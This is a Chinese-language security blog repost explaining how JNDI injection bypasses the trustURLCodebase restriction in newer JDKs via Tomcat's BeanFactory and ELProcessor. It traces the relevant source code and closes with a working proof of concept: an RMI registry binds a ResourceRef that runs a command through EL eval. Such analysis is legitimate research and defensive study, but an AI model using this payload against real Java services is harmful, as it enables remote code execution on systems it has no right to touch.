绕过高版本JDK限制的JNDI注入

admin 2023年5月25日03:16:25评论28 views字数 2408阅读8分1秒阅读模式

在JDK 6u132 7u122 8u113开始,trustURLCodebase默认为了false,其实意思就是不能加载远程RMI代码了。

本篇主要是讲解BeanFactory绕过方式


//检索此引用引用的对象的工厂位置。String getFactoryClassLocation()


结合493行代码可以看到。会抛异常。



绕过高版本JDK限制的JNDI注入



但是绕过此处if的话,可以将ref.getFactoryClassLocation()返回null,也就是说让ref对象的classFactoryLocation为null即可绕过

之后跟进NamingManager.getObjectInstance



绕过高版本JDK限制的JNDI注入



首先分析ref.getFactoryClassName();逻辑



绕过高版本JDK限制的JNDI注入



其实这个factory就是子类传过来的



绕过高版本JDK限制的JNDI注入



而这个子类就是ResourceRef,在RMI传参时传入了BeanFactory



绕过高版本JDK限制的JNDI注入


绕过高版本JDK限制的JNDI注入


绕过高版本JDK限制的JNDI注入



绕过高版本JDK限制的JNDI注入




最终通过Reference来返回 org.apache.naming.factory.BeanFactory

接着回到NamingManager中,所以此时的factory就是BeanFactory

也就是说最终会调用到BeanFactory.getObjectInstance()中


绕过高版本JDK限制的JNDI注入


继续跟进

public Object getObjectInstance(Object obj, Name name, Context nameCtx,                                Hashtable<?,?> environment)    throws NamingException {
Reference ref = (Reference) obj; String beanClassName = ref.getClassName();//获取ELProcess这个类路径的字符串 ClassLoader tcl = Thread.currentThread().getContextClassLoader(); // 1. 反射获取类对象 if (tcl != null) { //tcl为AppClassLoader,用来获取这个类对象 beanClass = tcl.loadClass(beanClassName); } else { beanClass = Class.forName(beanClassName); } // 2. 初始化类实例 调用ELProcess这个类的无参构造 Object bean = beanClass.getConstructor().newInstance();
// 3. 根据 Reference 的属性查找 setter 方法的别名 RefAddr ra = ref.get("forceString"); String value = (String)ra.getContent();//x=eval
// 4. 循环解析别名并保存到字典中 for (String param: value.split(",")) { param = param.trim(); index = param.indexOf('='); if (index >= 0) { //进行分割操作。x和eval分别存到变量中 setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } forced.put(param, beanClass.getMethod(setterName, paramTypes)); }
// 5. 解析所有属性,并根据别名去调用 setter 方法 Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); String value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = forced.get(propName); if (method != null) { valueArray[0] = value; method.invoke(bean, valueArray); } }}


最终是通过反射执行



绕过高版本JDK限制的JNDI注入



绕过高版本JDK限制的JNDI注入


代码如下:

  public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(7777);//注册中心绑定的端口        //绑定的恶意类       // Reference reference = new Reference("T","T","http://127.0.0.1:80");        //RemoteReference        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",                true, "org.apache.naming.factory.BeanFactory", null);        ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec("calc")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("RCE",referenceWrapper);
}


原文始发于微信公众号(HACK安全):绕过高版本JDK限制的JNDI注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日03:16:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   绕过高版本JDK限制的JNDI注入https://cn-sec.com/archives/1756428.html

发表评论

匿名网友 填写信息